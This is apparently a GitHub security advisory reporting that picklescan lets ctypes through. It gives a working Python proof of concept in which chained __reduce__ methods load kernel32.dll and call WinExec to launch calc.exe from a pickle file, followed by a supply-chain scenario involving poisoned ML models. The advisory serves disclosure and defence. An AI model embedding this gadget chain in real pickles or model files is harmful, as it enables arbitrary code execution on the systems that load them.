GHSA-4675-36f9-wf6r: picklescan: Allowlist Bypass evades input filtering

### Summary Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers. This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory. This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected ### PoC ```python import pickle import ctypes import operator class Kernel32Loader: def __reduce__(self): #we go direct to the kerneeellllllll return (ctypes.WinDLL, ("kernel32.dll",)) class WinExecGetter: def __reduce__(self): return (operator.itemgetter("WinExec"), (Kernel32Loader(),)) class PopCalc: def __reduce__(self): #methodcaller to invoke "__call__" on the function pointer. return ( operator.methodcaller("__call__", b"calc.exe", 1), (WinExecGetter(),) ) try: payload = pickle.dumps(PopCalc()) with open("calc_exploit.pkl", "wb") as f: f.write(payload) print("Generated 'calc_exploit.pkl'") except Exception as e: print(f"Generation failed: {e}") ``` This will create a pickle file which is not detected by the latest version of picklescan as malicious ```python import pickle print("Loading bypass.pkl...") pickle.load(open("calc_exploit.pkl", "rb")) ``` <img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />

An adversary targeting an MLOps team publishes a malicious PyTorch model to a public repository (e.g., Hugging Face, GitHub). The model performs as advertised for its stated task but embeds a ctypes payload in its __reduce__ method. The victim organization's CI pipeline pulls the model, runs picklescan (< 0.0.33) — scan returns clean. The model is promoted to staging. Upon first load by a training or inference worker, pickle deserialization triggers the ctypes payload, loading kernel32.dll (Windows) or libc (Linux) and executing arbitrary OS commands under the service account's privileges — achieving persistent RCE in the MLOps environment without triggering any pickle-layer detection.